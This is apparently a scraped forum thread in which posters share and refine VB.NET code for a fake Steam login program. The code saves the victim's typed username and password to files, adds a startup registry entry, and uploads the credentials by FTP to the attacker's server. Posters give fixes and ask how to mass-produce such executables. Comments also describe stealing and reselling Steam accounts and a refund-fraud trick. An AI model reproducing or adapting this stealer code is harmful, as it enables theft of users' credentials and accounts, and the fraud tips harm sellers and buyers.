If Directory.Exists("C:\Program Files\Steam\resource\info") = False Then
Directory.CreateDirectory("C:\Program Files\Steam\resource\info")
End If
If File.Exists("C:\Program Files\Steam\Steamstart.exe") = False Then
Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "RunSteam", "C:\Program Files\Steam\Steamstart.exe")
File.WriteAllText("C:\Program Files\Steam\resource\info\test.txt", "*****")
My.Computer.Network.UploadFile("C:\Program Files\Steam\resource\info\test.txt", "ftp://ftp.*HOST*.com/***.txt", "*FTPUSER*", "***FTPPASS****")
Dim dat As String = My.Computer.Clock.LocalTime.Month.ToString & My.Computer.Clock.LocalTime.Day.ToString & My.Computer.Clock.LocalTime.Hour.ToString & My.Computer.Clock.LocalTime.Minute.ToString & My.Computer.Clock.LocalTime.Second.ToString
File.WriteAllText("C:\Program Files\Steam\resource\info\pass" & dat & ".txt", user.Text + " -- " + pass.Text + " ")
My.Computer.Network.UploadFile("C:\Program Files\Steam\resource\info\pass" & dat & ".txt", "ftp://ftp.**HOST**.com/steampass" & dat & ".txt", "**FTP PASS**", "**FTP USER***")
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = vbNullString Or TextBox2.Text = vbNullString Then
MessageBox.Show("Please fill all fields", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Else
Dim ftp_user As String = "user name here"
Dim ftp_pw As String = "password here"
Dim ftp_server As String = "host name here"
Dim file = Application.StartupPath & "\pw.txt"
My.Computer.FileSystem.WriteAllText(file, TextBox1.Text & vbNewLine & TextBox2.Text, False)
My.Computer.Network.UploadFile(file, "ftp://" & ftp_user & ":" & ftp_pw & "@" & ftp_server + "/pw.txt")
End If
End Sub
End Class
also your upload script makes no sence to fallow vb sintax so it would generate an error
but as you know a bit of vb,could you possibly help with a gui? or give me the gist of how i would go about poppin out little steam hack exe babies from a gui with different code?
Don't forget to escape the username and password strings. for instance if the username or password contains '@' it should be replaced with "%40". otherwise the credentials will be merged with the url.Code:Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If TextBox1.Text = vbNullString Or TextBox2.Text = vbNullString Then MessageBox.Show("Please fill all fields", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error) Else Dim ftp_user As String = "user name here" Dim ftp_pw As String = "password here" Dim ftp_server As String = "host name here" Dim file = Application.StartupPath & "\pw.txt" My.Computer.FileSystem.WriteAllText(file, TextBox1.Text & vbNewLine & TextBox2.Text, False) My.Computer.Network.UploadFile(file, "ftp://" & ftp_user & ":" & ftp_pw & "@" & ftp_server + "/pw.txt") End If End Sub End Class
Meh these kinda programs are just a headache for the people you steal the account from, all they have to do is use the secret question to reset thier password and get account back, if you don't have the secret pasword then smae on you lol and bye bye steam account.
On another note never buy a steam account on ebay, the dirty scammers do the above after a week or so (just in time to pass it onto the new auction winner) and resell it ahaha. Very hard to prove anything to paypal/ebay in this kinda situation and they won't give a shit either.
thats why you change the secret question as welland the only real safe way is to actully buy the games of steam. In every other situation there is always some risk involved, even buying instore. I used to buy the games, register the serials and then return them saying that they didn't run on my PC worked everytime .
I send now PM sk8more
Haha, Fake
Just read the instructions, it's very stright forward.somebody can make a video tutorioal for the real newbies ???
Try it and tell us the result lolCould I still use this?
Want to make sure before I download,
Looks very nice comment wise.
We use cookies and similar technologies for the following purposes:
Do you accept cookies and these technologies?
We use cookies and similar technologies for the following purposes:
Do you accept cookies and these technologies?